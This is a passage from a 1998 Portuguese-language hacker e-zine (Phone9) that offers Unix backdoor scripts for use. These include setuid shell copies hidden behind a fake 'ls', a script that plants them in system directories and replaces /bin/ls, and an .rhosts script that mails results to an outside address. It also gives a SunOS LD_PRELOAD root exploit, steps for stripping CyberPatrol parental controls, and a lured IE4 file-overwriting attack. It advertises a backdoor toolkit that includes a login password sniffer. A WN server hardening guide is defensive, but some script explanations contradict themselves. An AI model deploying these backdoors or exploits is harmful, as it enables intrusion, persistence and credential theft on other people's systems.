		$USER= #coloque o user do lamer
		$SYS=  #coloque o sistema para qual o rhost deve ir	
		echo ".rhost lixeiro"
		echo "Phone9 0.01 - www.phone9.0rg"
		touch /tmp/.rshell
		/bin/cp /bin/sh /tmp/.rshell #shell no /tmp/.rshell
		cd /
		cd $PATH
		rhost -l $USER $SYS /tmp/.rshell
		cd $PATH
		mail blood@microsoftz.com > ~/.rhost.resultado
		echo "" >> ~/.rhost.resultado
		find / -name .rhosts -print >> ~/.rhost.resultado
		echo "chekout ~/.rhost.resultado e veja merda de seguranca q vc"
		echo "tem no seu computador.... aprenda mais sobre unix-fu ;p"
		----------------[ .rhost seeker.sh ]----------------

		Tbm, existe um meio de tornar mais faceis as .rhost de serem 
		executadas por qualquer um, usando um esquema parecido com o 
		do suidroot, entao veja:
		----------------[ .rhost suidroot ]----------------
		#!/bin/sh
		$RHOST= #coloque o caminho para o .rhost, /xxx/xxx/.RHOST
		echo "-------------------------------------------"
		echo "SUiD r0ot em .rh0sts files... paga pra ver?"
		echo "-------------------------------------------"
		chmod +s $RHOST
		echo "d0ne.... phear yer hacking is done"
		----------------[ .rhost suidroot ]----------------

		Acho q isto jah basta para voces na hora de executar os .rhosts
		em sistema inseguros por ai... ;p


[03] - ls backdoor

	Esta realmente eh muito boa, eh praticamente perfeita, com uma certa
	inteligencia e esperteza, voce pode instalar esta pequena backdoor em
	qualquer sistema e em qualquer diretorio q voce quiser, e se ainda 
	estiver com problemas utilize um dos scripts abaixo para facilitar a 
	entrada do script no sistema.

		Otimo, entao ai vai o codigo do script com as devidas intrucoes,
		voila e enjoy... ;) nomeie o arquivo como ls...
			---------------[ ls backdoor ]-------------
			#!/bin/sh
			#the blood root (c) 1998, - blood@microsoftz.com
			touch /tmp/ls.shell
			/bin/cp /bin/sh /tmp/ls.shell
			chmod 4755 /tmp/ls.shell
			ls
			---------------[ ls backdoor ]-------------
			Explicacao:
			touch /tmp/ls.shell = Cria o arquivo no /tmp/ls.shell
			/bin/cp /bin/sh /tmp/ls.shell = Copia a shell do 
								  executador para ls.shell
			chmod 4755 /tmp/ls.shell = Atribui RWX para todos os 
							   usuarios do sistema.
			ls = Continua com o comando LiSt do diretorio, como se 
			     nada tivesse acontecido....

			
	ls backdoor fun
	---------------
			
			Agora, eh bem simples veja este scripts e utilize se 
			quiser... ;p

			1. the hunter - Este script simplesmente ira colocar o
			   ls backdoor em todos os diretorios do sistema, precisa
			   ter root no sistema... Eh necessario especificar o
			   caminho para o ls, eu presumi q ele estivesse no 
			   /tmp/ls, mas mude se estiver em outro lugar ;p
			---------------[ The hunter ]-------------
			#!/bin/sh
			if [ `whoami` != root ]; then
			  echo "Precisa ter root para rodar o script"
			  exit 0
			fi
			#se quiser acrescentar mais, veja abaixo:
			echo "Alvos: /usr/, /etc, /home/, /dev, /var"  
			#backdoor no /home
			cd /home
			touch /home/ls
			/bin/cp /tmp/ls /home/ls
			chmod 4755 /home/ls
			echo "/home done"
			#backdoor no /usr
			cd /usr
			touch /usr/ls
			/bin/cp /tmp/ls /usr/ls
			chmod 4755 /usr/ls
			echo "/usr... done
			#backdoor /etc
			cd /etc
			touch /etc/ls
			/bin/cp /tmp/ls /etc/ls
			chmod 4755 /etc/ls
			echo "/etc... done"
			#backdoor /dev
			cd /dev
			touch /dev/ls
			/bin/cp /tmp/ls /dev/ls
			chmod 4755 /dev/ls
			echo "/dev... done"
			#backdoor /var
			cd /var
			touch /var/ls
			/bin/cp /tmp/ls /var/ls
			chmod 4755 /var/ls
			echo "/var... done"
			#done...
			echo "dan0ne..."
			---------------[ The hunter ]-------------
			
			2. The fish - Estah eh para os admins q encontrarem este
			   merdinhas rodando backdoores tao estupidas, e pegar 
			   eles pela gravata... Utilize o sulogin na conta do 
			   lamer e depois execute o script, senao eh a sua shell
			   que vai para o espaco ;)
			---------------[ The fish ]-------------
			#!/bin/sh
			$PATH #especifique O diretorio onde o ls estah rodando
			cd $PATH
			chmod +s ls
			---------------[ The fish ]-------------

			Agora rode este script para pegar o cara quando ele rodar
                  o script:

			----------[ The Funkyeadmin ]-----------
			#!/bin/csh
			#So prara variar ;)
			echo "............"
			sleep 60
			/bin/cp /bin/sh /var/log/lslogshell
			whoami >> /var/log/lslog
			id >> /var/log/lslog
			date >> /var/log/lslog
			telnet localhost 19
			-----------[ The Funkyeadmin ]---------
			
			
			3. The fucker - Estah eh bem malvada, e pega o sistema 
			                todo de vez.... tbm presumi q o ls estava
					    no /tmp/ls
			---------------[ The fucker ]-------------
			#!/bin/sh
			#opa, jah ia colocando /bin/ls
			mv /bin/ls /bin/.sl
			/bin/cp /tmp/ls /bin/ls
			chmod 4755 /bin/ls
			---------------[ The fucker ]-------------
			Entao, voce se pergunta, oq eu fiz? bom, agora qualquer
			pessoa, em qualquer lugar do sistema, quem digitar ls 
			automaticamente, ira executar o ls backdoor, depois disto,
			ele ira executar o verdadeiro ls. PS: como o ls backdoor
			(o primeiro exemplo), utiliza como padrao o comando ls e 
			nao .sl, eh necessario mudar a utlima linha da backdoor,
			para /bin/.sl assim, o script ficara perfeito ;p
			

Pra proxima edicao tem mais unix hack 0.01 >>> 0.01 <<<
New elite numbahz... 0.01

contact:[.blood@phone9.org]|[.bi0tek@phone9.org.]
The Phone9 Communications, Inc

 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
 ³6 - SunOS preloaded buggy					                   ³°°
 ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  by bi0h4zard  ³°°
                                                         ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°


	Ok.   esta e' bastante antiga, mas ainda funciona em algumas versoes
	da OS. Quando o SunOs , executa um programa, ele faz um checagem nas
	bibliotecas do sistemas, criando varios links temporarios. 
	
	As bibliotecas em ordem de checar:
	- Os simbolos do programa
	- Os simbolos pre-loadados
	- A biblioteca dinamica do usuario
	- A biblioteca default do sistema

	Aqui vai um codigo em C explicando como tirar proveito disto:
	Crie este arquivo ( joe /root/sync.c ) e coloque o 
	seguinte codigo nele:
#--codigo--#	
shit() {
 execl("/bin/sh", "sh", 0);
}
#--codigo--#

Compile-o assim: cc -c -O -R -pic sync.c
Faca a biblioteca: ld -o buglib.so.1.1 -assert pure-text sync.o
Selecione a lista de preloads: setenv LD_PRELOAD ./buglib.so.1.1
Agora faca: su sync

	Quando voce fizer isto, voce automaticamente estara dando um su
	no user sync, agora voce tem uma shell com id=1 e gid=1, use a 
	imaginacao ( PS: Olhe as caracteristicas do user 'bin' e depois
	me conte o resultado ) Tudo fica baseado na sua fake sync, que
	chama a shell, antes que qualquer erro aconteca, ja' que a sync,
	sera executa de um jeito ou de outro.

bi0hazard - 'Yabadabaduhhhhh....'
--------- (c) bi0hazard@phone9.org
 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
 ³7 - PCS, Personal Communications Systems                               ³°°
 ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  by bloodroot  ³°°
                                                         ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°



	Toda a vida voce ouviu falar sobre PCS? nao! Tambem nao me espanta,
	pois o pessoal do #phreak da brasnet.org nem tem ideia do que seja
	isto ( shame on you guys!!! ;)), a PCS ( Personal Communications
	Systems ) e' o mais novo meio de comunicacao pessoal no mundo, e 
	talvez um dos melhores se assim posso dizer!! chegando ate' a 
	ameacar as entranhas do celular ( bah! Como se um dia existirao
	mais unix do que windows... ;)) Mas os pontos fortes do PCS sao,
	
o E' totalmente digital!
o Permite a conexao de celulares no seu sistema
o Utiliza recursos como telefaz, telemail entre outros.
o Conferencia movel digital
o Nos ultimos 30 meses, teve um crescimento de 15 milhoes de usuarios para
  2000 milhoes.

	Opera nas frequencias de 1850Mhz ate' 2200Mhz, o que permite que a 
	comunica de largas faixas e distancias sejam alcancadas sem nenhum
	problema. Necessitando de somente 7% da banda da qual o sinal sera
	alimentado, o PCS concerteza e' o futuro do celular. Em medidas de
	seguranca o PCS utiliza varios recursos como: 
Obs: E'sim, no NEXTEL (melhor empresa de telefonia movel digital???), tem o
PCS.
	
- radio-frequency fingerprint:

		Um sistema de encriptacao de data/voz transmitida pelo aparelho
		do usuario do PCS, o sistema utiliza uma chave de 128bits,
		semelhante ao Message Digest 5 ( md5 ), esta chave que e'divida
		em 3 partes, para tres pessoas: 
Primeira parte - Digamos que seja uma especie de chave publica do usuario
Segunda parte  - E' a parte da chave que ira encriptar toda a transmissao e
		     outros dados do PCS.
Terceira parte - Chave desencriptadora e chave controladora vinda do tipo de
		     CCC do PCS.

	O esquema fica mais ou menos assim:

	Primeira chave			
		/|\
	    _/   \_
         /       \
       ...      ...
E' a parte da   E' a parte que fornece
chave com a     18bits divididos em rounds
identificacao   de 2. Fazem parte da chave
do usuario,     para encriptar ou decriptar
somente como a  as transmissoes enviadas p/
primeira parte  o PCS.
do codigo para
poder encriptar 
a transmissao 
	

		Segunda chave
		     /|\
		   _/   \_
              /       \
		...      ...
E' a parte que      Tambem serve como um firewall
checa a auten-	  ja' que checa por qualquer falha
tificidade da	  nos bits da encriptacao da trans-
transmissao,	  missao!
mesclando as        A procura de backdoors, como redirecionamento da
duas chaves, 	  do caminho data , entre outras coisas.
( da central e a 
do user ) para 
ver se a encrip-
tacao esta realmen-
te correta 

				Terceira chave
					/|\
			          _/   \_
				   /       \
				 ...      ...
			E' a parte	    Recebe e desencripta todas
			da encriptacao  as fingerprints destinadas
			que e' mais     a ele. Recebendo a verdadeira
			importante,	    fonte do usuario.
			e' a finger
			print da central
			PCS de transmis-
			soes, onde e' 
			criada uma chave
			nova a cada trans-
			missao. 
			
	alem de incluir otimos sistemas anti-fraude como:
	- 0900-sex -> O sistema ira gravar todas as ligacoes 0900, ate' um
	  certo momento, se a conversa for um tanto normal ( how bizare? ),
	  entao eles a apagam depois de dois meses de contas sem nenhuma
	  das tais ligacoes, caso exista uma reclamacao , ele irao tocar a
	  fita para voce e perguntar "Esta concerteza nao e' a sua voz!!!"
	  Caso ligacoes constantes ocorram o servicos 0900 sera deshabilitado
	  daquele celular.
	- 0-xx-xxx-xxx-xxxx -> Ligacoes para outros paises estao estritamente 
	  e automaticamente desligadas ( o que nao permite que o AcidMud, 
	  ligue para a BBS do pessoal da THC ;)), ate' que a pessoa ligue para
	  a central e diga a sua licenca de identidade entre outras 
	  informacoes!
	- RoamEX -> Um novo sistema de trackeamento de celular e PCS pelo 
	  mundo todo, cobrindo todo os paisesque habiltiaram esta funcao,
	  so para lembrar o pais da liberdade ( holanda ), nao assinou este
	  contrato entao nao holanda o anonimato e' total, e a seguranca de 
	  uma safe hack e' perfeita.
     
			
hacking:
---

	Ate' agora, so um meio de se "hackear" com as aspas, e' bem simples, 
	o primeiro e' um tanto primitivo eso ira funcionar caso voce pegue 
	uma empresa de telefonia celular fraca como a NeXTeL, bom voce ira 
	pegar o seu radio amador e ira scanear as frequencias de 1850Mhz a 
	2200Mhz. Esta e' um tanto basica!! huh? Os motivos para que este tipo 
	de ataque nao funcione sao maximos, porque existe um sistema poderoso 
	de encriptacao nos canais, nao deixando com que voce consiga ouvir as 
	falas, fora o barulho junkie da conexao ISDN com a central.

the blood root, Sekurity Netw0rks
reg - (c) 1998, productions
 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
 ³8 - Detonando o cyberpatrol                                            ³°°
 ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  by franz kafka ³°°
                                                         ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°

	Cyberpatrol e' uma merda para ser deletado... Eles tem um sistema
	estupido anti-hacker que me deixa nojo.. Yeaki!!! O cyberpatr0l, e'
	um programa instalado no seu computador pelos seus pais, para nao
	deixar que voce veja coisas como imagens de sexo, e qualquer outro 
	assunto que eles considerem perigoso para a sua fragil mente. Agora,
	vamos deletar o cyberpatr0l e depois cair na pornografia de pessoas
	com mais de 18 anos ( stop being such a jackass y0u'r a pedofilist! ;)
	
	Primeiro, entre no computador no modo MS-DOS (aperte F8 quando a 
	maquina estiver inicializando!!!) entre no diretorio do patrol pelo
	DOS e entao digite:
	attrib -r *.* 
	no diretorio do cyberpatrol. E no diretorio do C: (ou primary HD),
	digite: 
	deltree c:\patrol\
	Voce deve primeiro retirar todas as referencias sobre o cyberpatrol
	do seu sistema, registros entre outros documentos. ( Nao deletem os
	arquivo do tipo *.nls posi eles sao do teclado e nao e' muito bom,
	deleta-los dali!!!) 
	Voce ainda nao acabou pois precisa de mais algumas coisas...
	reconfigure o system.386 para bloquear o acesso ao winsock.ini, e 
	agora digite o seguinte comando no diretorio do windows:
	c:\windows\> attrib -h -r ip.exe
	del ip.exe
	attrib -h -r *.ini
	Delete todos os arquivos que estejam sobreo controle do CP ou IP.exe!!
	Os proximos tres comando irao reconfigurar o system.386, no diretorio
	do windows:
	attrib -h -s -r system.386
	copy system.386 c:\windows\system.drv
	copy system.386 .\system\system.drv
	Agora re-inicie a sua maquina... 
	E depois para acessar o controle de acesso ao passw0rd do CP, 
	simplemente edite o registro:
	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InternetExplorer\Security.
	E voce ira ver uma chave binaria, nao delete-a ou mude-a a nao ser que
	saiba o que esta fazendo...
	Pronto, no more access denied, Dude!!!

 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
 ³9 -  re-escrevendo arquivos de sistema com VBzkr1pt                    ³°°
 ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  by bloodroot ³°°
                                                         ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°

	
	Um codigo em VBzkr1pt, pode alterar qualquer documento dentro do
	HD de uma vitima, que esteja usando o bugado IE 4.0, este script 
	devera ficar no codigo HTML da pagina, podendo rodar o programa
	VBscript Engine 3.x no servidor onde foi colocado a pagina, assim
	quando um lamer clicar entrar em uma pagina qualquer o arquivo 
	descrito no sistema sera alterado...

	Sistemas afetados:
	- Internet Explorer 4.0
	- VBscript Engine 3.x
	
	Description:
	Um script mal-intencionado, pode alterar arquivos do seu HD, por meio
	de uma pagina HTML.
	
	Demontracao do codigo bugado:
  
  

  
	Agora, o seu arquivo c:\p9r0x.txt foi alterado...
  
	
	Se voce quiser por exemplo: Colcoar um format c: |y no autoexec.bat do
	cara, use este script....

  

		Agora coloque bem grande na sua pagina, um link assim:
	"Some quem tem IE 4.0, pode ver as novas fotos da Luana Piovani nua"
			E utiliza a binda da Luana como objeto bugado sexual ;)

	Era isso, agora e' so colocar o codigo na sua pagina e bugar toda a
	negada...
 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
 ³10 - Guia de seguranca em servidores WN-1.17                           ³°°
 ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  by bloodroot ³°°
                                                         ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°

	Ultimamente os desenvolvedores do servidor HTTP, WN, tem gastado 
	muitas horas em frente do unix deles, aperfeicoando a  seguranca
	deste infame servidor, que depois do apache e' o segundo melhor.
	Entretanto, isto nao e justificativa para que os administradores
	de um servidor WN, nao apliquem nenhuma flag de seguranca ou po-
	nham nehuma politica de seguranca, porque nao existe nenhuma re-
	lacao direta entre seguranca e funcionalidade, voce pode ter uma
	funcionalidade imensa, mas uma seguranca fraca, assim o  inverso
	entao e' necessario se aplicar algumas tecnicas para tornar o WN
	realmente um pouco mais seguro.

		Entao para que o texto fique mais compreensivel eu vou 
		dividir o texto em ameacas internas e externas. 

  Amecas externas:
	
	O objetivo do administrador e' evitar que hackers obtenham acesso
	nao permitido em seus computadores, atravez do servidor HTTP, pro
	gramas como CGI e scripts, nao podem  ser executados  remotamente 
	sem a autorizacao de algum usuario admitido dentro do  computador
	Se voce nao ira rodar nenhum zkr1pt no seu sistema http, entao  a
	melhor pedida seria roda-lo  com o flag -e  acionado, esta  opcao 
	impede que qualquer tentativa de comandos sejam atribuidos sob  a
	id de qualquer usuario que esteja relacionado sob o funcionamento 
 	do server e nao permite que  usuarios enviados pelo cliente sejam
	armazenados no servidor como arquivos temporarios....  Fora  isto 
	nada fra os logs sao guardados no sistema.

	A politica de seguranca basica do WN e' que nenhuma investida  do
	cliente podera ser aceita pelo servidor, ja' impedindo o abuso de
	certos  comandos enviados pelo  cliente para dentro  do servidor. 
	A permissao para se gravar algo remotamente pelo servidor, devera
	ser concedida pelos comandos de permissoes vindas do  administra-
	dor do sistema. Assim como impede o acesso externo, a  utilizacao 
	de documentos para visualizacao de usuarios e' impossivel, a  nao
	ser que o administrador permita.

Obs: Todas as permissoes dos diretorios do WN, estao dentro de arquivos
     nos diretorios do servidor http, entao e'  necessario  especificar 
     cada uma separadamente... Estes arquivos sao index.cache

  Protegendo os arquivos index.cache:
	
	Todo o controle de seguranca do WN esta baseado nos arquivos 
	index.cache, logo a seguranca destes arquivos no seu sistema
	e' importantissima, as opcoes -t ou -T permitem  especificar 
	um distinto grupo de usuarios que podem ter acesso ao index.
	cache, use as opcoes -t uid# ou  -T gid#,  para  atribuir as
	permissoes, eu nao aconselho que voce coloquem sob a uid  do
	usuario  nobody a permissao  destes arquivos, pois o  uso de
	cgis bugados para atribuir comandos pode ser desatroso  para
	o sistema inteiro, entao a uid0  e gid0 seriam perfeitas  ao 
	meu ver. Uma vez digitado o comando acima, quando se executa
	o comando wn -t, este ira envocar a ultima configuraca do -t
	assim nada saira e nao  entrara a nao ser que o  index.cache
	deixe.

	Agora, toda este  seguranca se  torna inutil se voce  usar a
	flag -u, que permite que os usuarios que possuem algum arqui
	vo no sistema, especificado no index.cache possam ter acesso
	a ele remotamente, assim somente o dono do arquivo ira aces-
	sar os arquivos,  se a opcao  -u e -t forem usadas ao  mesmo
	tempo, entao a opcao -u estara em vigor e  os atributos  sob 
	os usuarios na opcao -t estara isenta no servidor.
	
	Quando o servidor esta sendo exeutado, ele deve presumir que
	todas s permisseos de algum usuario no host. Ese usuario  e'
	determinado quando voce roda o program aem perl  'configure'
	ou definindo o USER_ID no config.h do servidor, seria  otimo
	se o usuario USER_ID, tivesse o minimo de permissoes aceita-
	veis, se possivel criar um novo grupo e servidor seria otimo
	e' claro que este usuario devera ter permissao de leitura p/
	todos os arquivos do servidor, podendo assim mostrar os docu
	mentos solicitados via web. 

	Como padrao, WN nao usa a chamada de sistema chroot para res
	tringir os arquivos que o servidor pode acessar, isso aumen-
	taria a segurnaca a custa do trabalho extra do administrador
	O efeito disso e'evitar que o servidor acesse, ainda que in-
	ternamente, qualquer arquivo restrito que nao esteja  no ar-
	quivo, index.cache. Eu recomendo o trabalho extra pois assim
	o seu patrao pode te dar um salario maior, mas avise-o, pois
	ninguem nota tais mudancas minimas para o surfistas... ;)

  Ameacas internas:
	
	Sempre que usuarios nao-permitidos  tenham contas ativas  no
	sistema, a seguranca estara sempre compromentida. O objetivo
	deste documento e' garantir que ao executar o  WN nao  fique 
	inseguro o seu sistema. Se for possivel , veja se nenhum tem
	acesso de  gravacao em   qualquer arquivo  index.cache do WN
	
	Uma boa regra para segurar o servidor internamente e':
	Considere sempre que todo mundo que tem acesso para gravacao
	no index.cache, tem todas as permissoes sob qual o  servidor
	roda, assim ira poupar, qualquer eventual problema com o WN.
	
	Agora se voce utiliza o servidor  WN para armazenar  paginas
	de outras pessoas, e necessario dar acesso a algumas pessoas
	nos seus devidos diretorios, entao e'necessario rodar  o WN,
	com a opcao -u acionada, a que exige que cada arquivo index.
	cache tenha um unico dono em comum, assim o dono do arquivos
	devera setupar os arquivos index.cache, na medidade que  for
	necessario para o funcionamento do servidor. Isto seria algo
	como chmod u+wx /etc/passwd, assim somente voce tera  acesso
	ao passwd com o atributo de grava-lo , ou tros poderao ve-lo
	mas nao muda-lo. Entao se a opcao -t for usada,  entao a  -u
	sera desativada, assim qualquer arquivo do qual a ui do ser-
	vidor tenha acesso para leitura, execucao e gravacao, podera
	ser executada pelo usuarios que acessam o servidor, se o WN,
	rodar sb a uid 0, entao arquivos como /etc/passwd estarao
	vulneraveis. Por isso o servidor nao permite links  simboli-
	cos de index.cache's para outro index.cache's.
	
	A opcao de comando -e, e eficais caso qualquer  execucao  de
	scripts, ou CGIs seja solicitada... Ja' parando alguns  bugs
	internos e externos.
	
	A utilizacao da opcao -u e -E, aumenta muito a seguranca  do
	servidor, se voce deseja considerar  que qualquer  permissao
	dada pelo ID do usuarios sobre o qual o WN roda, tambem  sao
	concedidas a todos os  usuarios que  podem criar um  arquivo
	index.cache no sistema.
	
  Algumas configuracao de seguranca recomendadas:
	
	Esta e' uma lista consultada por varios membros da phone9 e de outros
	lugares, a fim de informar o seu servidor dos seguintes sistema de 
	seguranca que rodam no sistema, iremos considerar que voce esteja usan
	do o WN ou SWN, na porta 80 (ou no maximo 8080), e que o valor das 
	variaveis USER_ID e GROUP_ID nao tenham sido alteradas no arquivo,
	config.h, isso significa que o wn sera rodado como user r00t, mas ira
	mudar as suas permissoes para o usuario nobody. Da mesma forma que 
	este podera ser inicializado pelo inetd e com os seu privilegios do
	nobody. 

  CGI probidio e somente administrador como usuario confiavel:
	
	Utiliza-se a opcao -t ou -T, opcao -e ou -E e nenhuma outra, alem de
	alterar a linha do config.h #define FORBID_CGI, retirando o comentario
	da sua frente. Metodos POST, nao sao permitidos assim como nenhuma 
	forma de programa que esteja sendo orignado internamente do servidor,
	nao-permitindo nenhum CGI rodando no sistema.
	
  Somente administrador ou grupo confiavel:

	Este e' o nivel de seguranca para rodar CGIs e scripts por meio do 
	servidor, rode-o sob a opcao -t ou -T e nenhuma outra.

  Privilegios de servico de usuarios restritos:
	
	Isto permite que usuarios permitidos dentro do servidor, possam rodar
	suas home-page sem a supervisao do administrador, e' perfeito para 
	servidores que irao armazenar home-pages de outras pessoas no seu 
	dominio (ex. http://www.bloodroot.org/phone9/) Use as opcoes -E e -u.
	Se voce rodar a opcao -u nao rode a opcao -T ou -t. 

  			          -.[ Conclusao ].-
		Use as configuracao aqui dispostas, para tornar o seu servidor
	WN mais seguro, embora o apache seja melhor.... Mas fazer o que?????
	
The bloodroot - [.blood@phone9.org.]
Guia de seguranca em servidores WN
reg(c) 1998, productions

 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
 ³11 - backdoor cracker [bc20], tecnicas anais em sistemas linux         ³°°
 ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  by bloodroot ³°°
                                                         ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°

			The blood root's sekure netw0rks
				     presents...

			     The backdoor cracker
			  remote/local backdoor system
			   v2.0 - by bloodroot|bi0tek 

  Recentemente, foi lancado um programa instalador de backdoors, em sistema
  linux e unix-brothers, este se chama .[bc20]. , e foi criado por bloodroot
  bi0tek, o programa codeado em Cshell, instala das mais infames backdoors
  no seu sistema e ainda vem com um sistema de seguranca que ao executado, 
  nao permite que nenhuma das backdoors que o sistema utiliza seja realmente
  utilizada no seu sistema. O bc20, esta divido em dois grandes grupos:
  'backdoor system' e 'sekurity board', cada um explicado abaixo:

backdoor systems:

	E' o conjunto de backdoors que o bc20, instala no seu sistema...  

  .[ls backdoor

	(Veja o artigo no.05 desta edicao da Phone9)
	
  .[rootls backdoor
	
	(Veja o artigo no.05 desta edicao da Phone9)

  .[in.couried backdoor
	
	in.couried e' um daemon comum que roda servicos por meio do inetd, 
	este daemon porem possui um artibuto de permissao de gravacao, auto-
	maticamente especificado pelo programa que voce instalou, entao e' 
	possivel se alterar algumas das suas funcoes para se instalar um 
	sistema de  portas bugadas no seu sistema, ex. inetd backdoor, sobre o
	daemon in.couried

  .[phf.cgi bug
	
   	Exploita remotamente ou internamente o bug o phf.cgi, que vem com 
	algumas versoes do apache web server... veja o artigo no.21 para 
	maiores informacoes sobre o bug...

  .[b2 backdoor
	
	E' um programa em C feito por Dr.sm0g (sm0g@phone9.org), para instalar
	backdoors em praticamente todos os diretorios de um servidor. E' um
	codigo simples mas mesmo assim e' eficais!!!

  .[suidroot backdoor
	
	A preferida de todos nos, copia a shell de um usuario (root) para 
	dentro de um arquivo a sua escolha...

  .[backdoor no inetd

	E outra backdoor que permite que uma porta seja usada somente para
	executar uma shell remotamente, sob a uid do dono do servico da porta,
	ou inetd, e ate mesmo root. 

  .[cron time backdoor
	
	Instala um sistema de backdoors diretamente no sistema cron do root,
	assim voce podera executar a shell do root por meio de um arquivo 
	suid.

  .[novo usuario root
	
	Apenas coloca um usuario com as uid:0 e gid:0!!!
 
  .[finger link backdoor

	E' a famosa backdoor utilizada em um finger, e' bem simples ao dar 
	um finger em um usuario, o arquivo que voce escolher aparece logo apos
	o response do finger
 
  .[.files bug

	Instala um sistema de backdoor em praticamente qualquer arquivo .xxxx,
	que exista em sistema linux e ainda permite a opcao de colocar estas
	backdoors em qualquer arquivo .xxx do sistema

  .[fake login

	Instala um sistema de sniffer no /bin/login logando todos os passwords
	que forem digitados no prompt do login (login:  e password: ) Podendo
	ser configurado para rodar dentro de um unico diretorio ou capturando
	o sistema todo.

  .[testcgi bug

	Exploita a falha de alguns setups de tescgi-cgi existentes, veja o 
	artigo no.22 para maiories informacoes sobre o bug

  .[rhosts bugware

   	Instala backdoors em arquivos .rhosts em pontos estrategicos do seu
	sistema.

  .[Apache webserver fuckware

	Tecnicas de DoS em servidores Apache de todos os sabores e versoes...

  .[/etc/passwd crackware

	Sao pequenas tecnicas de furto de password que podem ser adaptadas no
	/etc/passwd do seu sistema.


		Estas sao as backdoors que o .[bc20]. instala no seu sistema, 
		lembramos que pelo fato de ser um sistema de backdoors, a 
	 	maioria delas so funcionam depois que voce obter root no sistema
		o mesmo pode ser aplicado no sistema de seguranca do .[bc20].


		==[ sekurity board ]==[ bc20 ]==
		    (c) by bloodroot|bi0tek

			O sistema de seguranca do bc20, se aplica a todos os 
			backdoors que o backdoor systems, instala tornando assim
			o .[bc20]. , uma ferramenta de seguranca e de hacking...

  O sistema de seguranca do bc20, funciona para praticamente todas as 
  backdoors que o modo de backdiir installer , instala... Implementando
  tecnicas conhecidas por varios guruz, e hackers, assim o bc20 e' uma
  ferramenta balanciada...


O backdoor cracker v2.02, pode ser baixado nos seguintes enderecos:
--
http://www.phone9.org/html/labs/tools/bc20.zip
http://members.xoom.com/phone9/tools/bc20.zip
http://www.microsoftz.com/phone9/tools/bc20.zip
http://www.puruca.com.br/phone9/tools/bc20.zip
--

	Qualquer reclamacao, duvida ou implementacao de codigo:
	bc20@phone9.org

[O lancamento do bc30... Ja' esta a caminho... aguardem...]

backdoor cracker v2.02 - by  bloodroot|bi0tek
blood@phone9.org|bc20@phone9.org
[P9]												[P9]
 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
 ³ 12 - Apache Web server guard							 ³°°
 ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿    by bi0tek     ³°°
                                                      ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°

	AWSG, e'  um script CGI, que controla todas as acoes do seu
	servidor apache por meio de um unico CGI, enviando por mail
